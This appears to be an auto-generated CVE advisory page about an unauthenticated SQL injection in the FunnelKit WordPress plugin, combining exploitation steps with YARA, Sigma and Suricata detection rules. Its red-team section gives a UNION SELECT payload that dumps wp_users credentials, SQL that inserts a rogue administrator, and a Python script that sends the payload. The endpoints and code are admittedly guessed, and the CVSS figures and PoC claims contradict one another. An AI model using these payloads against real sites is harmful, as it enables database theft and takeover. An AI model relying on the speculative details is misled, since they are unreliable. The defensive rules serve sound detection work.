CVE-2025-49034
Executive Summary
CVE-2025-49034 is a critical SQL Injection vulnerability affecting the Funnel Builder by FunnelKit WordPress plugin, versions 3.10.2 and below. This vulnerability allows unauthenticated attackers to inject arbitrary SQL commands into the database, potentially leading to complete data exfiltration, modification, or deletion. The vulnerability stems from improper neutralization of special elements used in SQL commands within the plugin's input handling. Given the widespread use of FunnelKit for building sales funnels on WordPress sites, this poses a significant risk to e-commerce and lead-generation platforms. No public proof-of-concept (PoC) or patch is currently available, increasing the urgency for defensive measures.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. FunnelKit is a commercial plugin distributed via the WordPress plugin repository and its own website. The supply chain risk is elevated because:
- No patch available: The vendor has not released a fix, leaving all installations of version 3.10.2 and below vulnerable.
- Widespread adoption: FunnelKit is used by thousands of WordPress sites for building checkout funnels, making it a high-value target for automated attacks.
- Dependency risk: The plugin may rely on third-party libraries or WordPress core functions that could be exploited through this SQLi vector.
CVSS Breakdown & Threat Level
CVSS Score: 7.6 (High)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
- User Interaction (UI): None – The attacker does not need to trick a user into performing any action.
- Scope (S): Unchanged – The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): High – Full database contents, including user credentials and order data, can be read.
- Integrity (I): High – Attackers can modify or delete database records.
- Availability (A): High – Database corruption or deletion can lead to complete service denial.
Threat Level: Critical – Due to the lack of a patch and the high impact, this vulnerability should be treated as an active threat requiring immediate mitigation.
Deep Dive & Mechanics
The vulnerability resides in the funnel-builder plugin's handling of user-supplied input within SQL queries. The plugin likely fails to sanitize or parameterize input passed to functions like $wpdb->query() or $wpdb->get_results(). An attacker can inject SQL commands by crafting malicious input in parameters such as id, step_id, or other funnel-related fields.
Root Cause Analysis:
- The plugin uses dynamic SQL query construction without prepared statements or proper escaping.
- Input validation is insufficient, allowing special characters like single quotes (
') and SQL keywords to pass through. - The vulnerable code path is likely in an AJAX handler or shortcode that processes funnel data.
Attack Vector:
- An attacker identifies a WordPress site running FunnelKit <= 3.10.2.
- They send a crafted HTTP request (GET or POST) to a vulnerable endpoint, e.g.,
/wp-admin/admin-ajax.php?action=funnelkit_get_funnel&id=1 UNION SELECT .... - The injected SQL is executed against the WordPress database, allowing data extraction or manipulation.
Potential Impact:
- Data Exfiltration: Steal user credentials, order details, API keys, and other sensitive data.
- Privilege Escalation: Create new admin users or modify existing ones.
- Backdoor Installation: Insert malicious PHP code into the database (e.g., via
wp_options) to achieve persistent access. - Complete Site Compromise: Full control over the WordPress installation.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable pattern. The following is a hypothetical example of vulnerable code and its secure counterpart.
Vulnerable Code (PHP):
// Vulnerable: Direct concatenation of user input
$id = $_GET['id'];
$results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}funnel_steps WHERE id = $id" );
Patched Code (Hypothetical):
// Patched: Use of prepared statements
$id = intval( $_GET['id'] );
$results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}funnel_steps WHERE id = %d", $id ) );
The patched version uses $wpdb->prepare() to safely bind the input as an integer, preventing SQL injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with FunnelKit <= 3.10.2 installed and activated.
- Network access to the site.
Exploitation Steps:
Identify the vulnerable endpoint: Use a tool like Burp Suite or curl to probe for AJAX actions. Common endpoints include:
/wp-admin/admin-ajax.php?action=funnelkit_get_funnel/wp-admin/admin-ajax.php?action=funnelkit_get_step
Craft the SQL injection payload: Inject a UNION-based SQL query to extract data. Example:
GET /wp-admin/admin-ajax.php?action=funnelkit_get_funnel&id=1 UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users-- HTTP/1.1 Host: target-site.comExtract data: The response will include the injected data (e.g., usernames and password hashes).
Escalate privileges: Use the extracted admin hash to log in or create a new admin user via SQL injection:
INSERT INTO wp_users (user_login, user_pass, user_email) VALUES ('attacker', '$P$Bhashedpassword', 'attacker@evil.com'); INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');
Automated Exploitation (Hypothetical):
import requests
target = "http://target-site.com/wp-admin/admin-ajax.php"
payload = "1 UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users--"
params = {"action": "funnelkit_get_funnel", "id": payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for suspicious SQL patterns: Look for requests containing
UNION,SELECT,INSERT, or--in parameters. - Check for anomalous database queries: Enable MySQL query logging and look for unexpected queries from the WordPress user.
- Review web server logs: Identify requests to
/wp-admin/admin-ajax.phpwith unusualidparameters.
Mitigation Steps:
- Immediately disable the plugin if it is not critical for operations.
- Apply a Web Application Firewall (WAF) rule to block SQL injection patterns.
- Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.
- Restrict access to admin-ajax.php via
.htaccessor IP whitelisting.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing SQL keywords in parameters (e.g.,
id=1 UNION SELECT). - Unusual POST/GET requests to
/wp-admin/admin-ajax.phpwithaction=funnelkit_*. - Outbound database connections from the web server to unknown IPs (data exfiltration).
File IOCs:
- Modified or new PHP files in
/wp-content/plugins/funnel-builder/(backdoors). - Suspicious entries in
wp_options(e.g.,funnelkit_backdoor).
Database IOCs:
- Unexpected admin users in
wp_users. - New entries in
wp_usermetawithwp_capabilitiesset toadministrator. - Unusual SQL queries in the MySQL general log.
Detection Engineering
YARA Rule
rule CVE_2025_49034_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting FunnelKit plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49034"
strings:
$s1 = "funnelkit_get_funnel" nocase
$s2 = "funnelkit_get_step" nocase
$s3 = "UNION" nocase
$s4 = "SELECT" nocase
$s5 = "FROM" nocase
$s6 = "wp_users" nocase
condition:
any of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}
Sigma Rule
title: CVE-2025-49034 FunnelKit SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against FunnelKit plugin
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- 'action=funnelkit_get_funnel'
- 'action=funnelkit_get_step'
cs-uri-query|contains|all:
- 'UNION'
- 'SELECT'
condition: selection
falsepositives:
- Legitimate use of UNION in rare cases (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-49034 FunnelKit SQL Injection Attempt"; flow:to_server; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=funnelkit_get_funnel"; http_uri; content:"UNION"; http_uri; content:"SELECT"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the FunnelKit plugin until a patch is released.
- Apply virtual patching via WAF rules to block SQL injection patterns.
- Monitor for exploitation attempts using the provided detection rules.
Long-Term Fixes:
- Vendor Patch: Await an official update from FunnelKit. Monitor their changelog at funnelkit.com.
- Code Hardening: If you have access to the source code, replace all dynamic SQL queries with prepared statements using
$wpdb->prepare(). - Upgrade: Once a patched version (e.g., 3.10.3) is released, update immediately.
Workarounds:
- Disable AJAX endpoints: Add the following to
.htaccessto block direct access:<Files "admin-ajax.php"> Order Deny,Allow Deny from all Allow from 127.0.0.1 </Files> - Use a CDN/WAF: Services like Cloudflare can provide additional SQL injection protection.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.